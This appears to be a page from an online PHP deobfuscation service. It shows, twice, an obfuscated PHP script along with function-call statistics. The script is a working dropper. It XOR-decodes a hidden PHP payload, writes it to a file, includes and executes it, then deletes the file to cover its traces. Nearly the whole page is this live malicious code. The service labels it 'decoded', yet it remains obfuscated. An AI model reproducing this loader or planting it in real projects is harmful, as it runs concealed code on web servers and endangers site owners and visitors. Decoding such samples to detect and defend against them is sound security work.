Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php function NqhoUaH($HyyktZ, $lhGYcTZryMe) { $HyyktZ = urldecode($HyyktZ); ..
Decoded Output download
<?php
function NqhoUaH($HyyktZ, $lhGYcTZryMe)
{
$HyyktZ = urldecode($HyyktZ);
$arMyeGdUgEnr = str_split($HyyktZ);
$action = "";
for ($i = 0; $i < strlen($HyyktZ);$i++) {
$action .= $arMyeGdUgEnr[$i] ^ $lhGYcTZryMe[$i%5];
}
return $action;
}
$i="YZ39%19ho%038%07%0C%3A04%1DMB%26%23%1B%0A%17%1C%3D%06%02Boq%270%29%0FxRho%038%07%0C%3A04%1DMB%2F%3E%0E%3A%001%23%06%17%16d%7DIULx%5Cc%25%0C-86%16%007yN%08%04%3B%0E%0C%1D%00+%24%1D%0C%0A-%0E%1D%0C%08%26vEEUjjdo%2504%1D%3A%11%2A%3C%0C%3A%09%2A%3C%00%11MsxRhoN%5Bdo%036%3F%0A%11%0C%2C%3FI%16%0D%27%21AA%01%22%25%08IEg%3A%0C%1CLN%5B%12hocqIEA%2C%24%1D%3A%01%22%25%08EXcsK%5EhIqIEE%25%3E%1BEMg8IXEsjIA%0CcmI%16%111%3D%0C%0BMg5%08%11%04jj%40E%1EN%5BIEEcqIEE%25%3E%1BEMg%3BIXEsjIA%0FcmI%16%111%3D%0C%0BMg%3A%0C%1CLcwOEA%2AqUE%167%23%05%00%0Bku%0D%04%11%22xREA%29zBIEg8BNLc%2AdoEcqIEEcqIEEcu%06%10%11%1C5%08%11%04c%7FTE%06%2B%23A%0A%17%27yM%01%04702A%0C%1ExI%3BE%2C%23%0DMA%284%10%3EA%29%0C%40L%5EN%5BIEEcqIEE%3E%5CcEEcq%14hocqIE%17%26%25%1C%17%0Bcu%06%10%11%1C5%08%11%04x%5Cc%18hI8%0FEM%2A%22%1A%00%11ku6%22+%17%0A_RVwb%5C8Lj%5Cc%1EhIqIEE%278%0CM%08%27dAQRt%60%5BLLx%5Cc%18hIu%1D%00%083l%08%17%17%22%286%08%0016%0CMA%1C%12%26%2A.%0A%14EEA%1C%01%2661jjdo%03%2C%23%0C%04%06%2BqAA%11%26%3C%19E%040qM%01%04706%0E%00%3AqT%5BEg5%08%11%04jq%12hocqIEA%270%1D%04E%7Eq%29%10%0B04%1B%0C%04%2F8%13%00M09%0D%15M09%0D%15M%210%1A%00Sw%0E%0D%00%06%2C5%0CMA%270%1D%04LoqNQ%00%25gZ%04%07%26%7CX%04%07%27%7C%5DP%04u%7CPTV%27%7C_%03%07zh_PR%26c%5D%07Bj%7DIA%01%22%25%08%3A%0E%26%28%40L%5EN%5BIEEc8%0FEM%2A%22%1A%00%11ku%0D%04%11%22%0AN%04%0Ed%0C%40LE8%5CcEEcqIEEc8%0FEMg5%08%11%04%18v%08B8clTEB%2Av%40E%1EN%5BIEEcqIEEcqIEA%2AqTE%041%23%08%1CMN%5BIEEcqIEEcqIEEcqIB%155vIX%5Bc%11%19%0D%1554%1B%16%0C%2C%3FALIN%5BIEEcqIEEcqIEEcqIB%165vIX%5BcvXKUn%60NIhIqIEEcqIEEcqIL%5EN%5BIEEcqIEEcqIE%00+9%06E%2504%1B%0C%04%2F8%13%00Mg8%40%5EhIqIEEcqIE%18c4%05%16%00%2A7IMA%270%1D%04%3Ed0N8E%7ElIB%00dxI%1EhIqIEEcqIEEcqI%00%13%22%3DAA%01%22%25%08%3EB%27v4L%5EN%5BIEEcqIEE%3E%5CcEEcqIEEc4%11%0C%11kxRhocqIE%18N%5B%14";
$j="%03%0C%2F46%15%107%0E%0A%0A%0B74%07%11%16";
$QbEUDD="eeCQijmAWXJq";
$k = NqhoUaH($i, $QbEUDD);
$f = NqhoUaH($j, $QbEUDD);
$f($QbEUDD, $k);
include_once ($QbEUDD);
unlink($QbEUDD);
exit(); ?>
Did this file decode correctly?
Original Code
<?php
function NqhoUaH($HyyktZ, $lhGYcTZryMe)
{
$HyyktZ = urldecode($HyyktZ);
$arMyeGdUgEnr = str_split($HyyktZ);
$action = "";
for ($i = 0; $i < strlen($HyyktZ);$i++) {
$action .= $arMyeGdUgEnr[$i] ^ $lhGYcTZryMe[$i%5];
}
return $action;
}
$i="YZ39%19ho%038%07%0C%3A04%1DMB%26%23%1B%0A%17%1C%3D%06%02Boq%270%29%0FxRho%038%07%0C%3A04%1DMB%2F%3E%0E%3A%001%23%06%17%16d%7DIULx%5Cc%25%0C-86%16%007yN%08%04%3B%0E%0C%1D%00+%24%1D%0C%0A-%0E%1D%0C%08%26vEEUjjdo%2504%1D%3A%11%2A%3C%0C%3A%09%2A%3C%00%11MsxRhoN%5Bdo%036%3F%0A%11%0C%2C%3FI%16%0D%27%21AA%01%22%25%08IEg%3A%0C%1CLN%5B%12hocqIEA%2C%24%1D%3A%01%22%25%08EXcsK%5EhIqIEE%25%3E%1BEMg8IXEsjIA%0CcmI%16%111%3D%0C%0BMg5%08%11%04jj%40E%1EN%5BIEEcqIEE%25%3E%1BEMg%3BIXEsjIA%0FcmI%16%111%3D%0C%0BMg%3A%0C%1CLcwOEA%2AqUE%167%23%05%00%0Bku%0D%04%11%22xREA%29zBIEg8BNLc%2AdoEcqIEEcqIEEcu%06%10%11%1C5%08%11%04c%7FTE%06%2B%23A%0A%17%27yM%01%04702A%0C%1ExI%3BE%2C%23%0DMA%284%10%3EA%29%0C%40L%5EN%5BIEEcqIEE%3E%5CcEEcq%14hocqIE%17%26%25%1C%17%0Bcu%06%10%11%1C5%08%11%04x%5Cc%18hI8%0FEM%2A%22%1A%00%11ku6%22+%17%0A_RVwb%5C8Lj%5Cc%1EhIqIEE%278%0CM%08%27dAQRt%60%5BLLx%5Cc%18hIu%1D%00%083l%08%17%17%22%286%08%0016%0CMA%1C%12%26%2A.%0A%14EEA%1C%01%2661jjdo%03%2C%23%0C%04%06%2BqAA%11%26%3C%19E%040qM%01%04706%0E%00%3AqT%5BEg5%08%11%04jq%12hocqIEA%270%1D%04E%7Eq%29%10%0B04%1B%0C%04%2F8%13%00M09%0D%15M09%0D%15M%210%1A%00Sw%0E%0D%00%06%2C5%0CMA%270%1D%04LoqNQ%00%25gZ%04%07%26%7CX%04%07%27%7C%5DP%04u%7CPTV%27%7C_%03%07zh_PR%26c%5D%07Bj%7DIA%01%22%25%08%3A%0E%26%28%40L%5EN%5BIEEc8%0FEM%2A%22%1A%00%11ku%0D%04%11%22%0AN%04%0Ed%0C%40LE8%5CcEEcqIEEc8%0FEMg5%08%11%04%18v%08B8clTEB%2Av%40E%1EN%5BIEEcqIEEcqIEA%2AqTE%041%23%08%1CMN%5BIEEcqIEEcqIEEcqIB%155vIX%5Bc%11%19%0D%1554%1B%16%0C%2C%3FALIN%5BIEEcqIEEcqIEEcqIB%165vIX%5BcvXKUn%60NIhIqIEEcqIEEcqIL%5EN%5BIEEcqIEEcqIE%00+9%06E%2504%1B%0C%04%2F8%13%00Mg8%40%5EhIqIEEcqIE%18c4%05%16%00%2A7IMA%270%1D%04%3Ed0N8E%7ElIB%00dxI%1EhIqIEEcqIEEcqI%00%13%22%3DAA%01%22%25%08%3EB%27v4L%5EN%5BIEEcqIEE%3E%5CcEEcqIEEc4%11%0C%11kxRhocqIE%18N%5B%14";
$j="%03%0C%2F46%15%107%0E%0A%0A%0B74%07%11%16";
$QbEUDD="eeCQijmAWXJq";
$k = NqhoUaH($i, $QbEUDD);
$f = NqhoUaH($j, $QbEUDD);
$f($QbEUDD, $k);
include_once ($QbEUDD);
unlink($QbEUDD);
exit();
Function Calls
NqhoUaH | 1 |
str_split | 1 |
urldecode | 1 |
Stats
MD5 | d14453b846094a232714a77bed15a0c7 |
Eval Count | 0 |
Decode Time | 51 ms |